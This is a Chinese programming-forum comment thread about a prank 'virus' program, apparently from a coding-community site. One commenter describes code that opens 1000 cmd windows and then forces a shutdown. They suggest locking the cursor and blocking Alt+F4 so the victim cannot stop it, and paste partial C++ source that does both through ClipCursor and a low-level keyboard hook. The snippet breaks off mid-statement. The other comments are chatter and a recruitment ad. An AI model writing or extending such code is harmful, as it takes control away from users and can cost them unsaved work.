全部评论 12

  • 置顶

    后果自负

    1周前 来自 浙江

    0
    • userId_undefined
      ben
      回复
      QYW

      代码能运行就行 团队火热招募中!
      立即点击链接加入我们:https://www.acgo.cn/application/1966730825962467328
      我们致力于打造高质量的C++模板库,汇聚各路编程爱好者。
      加入团队,你可以:贡献和使用优质模板,提升效率;与同好交流技术,共同进步;享受团队专属福利与资源支持。

      如有任何疑问,欢迎私信我,我会尽快解答。

      1周前 来自 浙江

      0
  • d

    1周前 来自 北京

    1
  • 666

    1周前 来自 贵州

    1
  • 1周前 来自 浙江

    1
  • 代码的意思是:说:这是一个病毒程序(真的)
    等待1秒
    说:现在关掉程序还来得及
    等待一秒
    说:第一关
    等待一秒
    弹出1000个cmd窗口
    等待60秒
    说:还有第二关
    60秒有关机
    这个代码仅仅涉及到了等待(Sleep),弹出窗口(start)和关机(shutdown /s /t 60)
    建议加上锁定鼠标(不让关掉程序:SetCursorPos(0,0)(锁定在左上角))+键盘钩子(拦截关窗口的快捷键:Alt+F4)

    1周前 来自 浙江

    1
    • DEEPSEEK都不需要

      1周前 来自 浙江

      0
    • 学2分钟的Windows.h头文件就会

      1周前 来自 浙江

      0
    • 比如MC讨论社的代码就是这样:

      #include <bits/stdc++.h>
      #include <string>
      #ifdef _WIN32
      #include <windows.h>  
      #endif
      void setGreenText() {
      #ifdef _WIN32
          HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
          SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
      #else
          std::cout << "\033[92m";
      #endif
      }
      void resetTextColor() {
      #ifdef _WIN32
          HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
          SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);  
      #else
          std::cout << "\033[0m";  
      #endif
      }
      HHOOK g_hKeyboardHook = NULL; 
      LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
      {
          if (nCode == HC_ACTION)
          {
              KBDLLHOOKSTRUCT* pKeyStruct = (KBDLLHOOKSTRUCT*)lParam;
              
              if (pKeyStruct->vkCode == VK_F4 && (pKeyStruct->flags & LLKHF_ALTDOWN))
              {
                  return 1;
              }
          }
          return CallNextHookEx(g_hKeyboardHook, nCode, wParam, lParam);
      }
      void InstallHook()
      {
          g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(NULL), 0);
          if (g_hKeyboardHook == NULL) {
          }
      }
      void UninstallHook()
      {
          if (g_hKeyboardHook) {
              UnhookWindowsHookEx(g_hKeyboardHook);
              g_hKeyboardHook = NULL;
          }
      }
      using namespace std;
      int main() {
      	int screenWidth = GetSystemMetrics(SM_CXSCREEN);
          int screenHeight = GetSystemMetrics(SM_CYSCREEN);
          int centerX = screenWidth / 2;
          int centerY = screenHeight / 2;
          RECT centerRect = {centerX - 1, centerY - 1, centerX + 1, centerY + 1};
          ClipCursor(&centerRect);
          setGreenText();
          InstallHook();
          MSG msg;
          cout<<"开始编译"<<endl<<"Startcompiling"<<endl<<endl; 
          char c=rand()%33+70;
          for(int i=1;i<=int(c);i++){
              char a=rand()%33;
              for(int j=1;j<=a;j++){
                  char c=rand()%33+90;
                  cout<<c;
              TranslateMessage(&msg);
              DispatchMessage(&msg);
                  Sleep(2);
              }
              cout<<endl;
              Sleep(
      

      1周前 来自 浙江

      1
  • 看到关机代码了

    1周前 来自 浙江

    0
  • 1周前 来自 浙江

    0
  • 我为了罐头我来发评论了,不满意可以删评

    1周前 来自 浙江

    0
  • 编译错误: /code/judger/test/2086364230020505600/main.cpp:122:9: fatal error: Windows.h: No such file or directory
    122 | #include<Windows.h>
    | ^~~~~~~~~~~
    compilation terminated.

    1周前 来自 上海

    0
    • 加上-std=c++11

      1周前 来自 浙江

      0
    • 还有怎么是122行啊,不应该是前10行吗

      1周前 来自 浙江

      0
    • 因为我在这个里面存了很多个代码。

      1周前 来自 上海

      0
  • really?

    1周前 来自 湖北

    0

热门讨论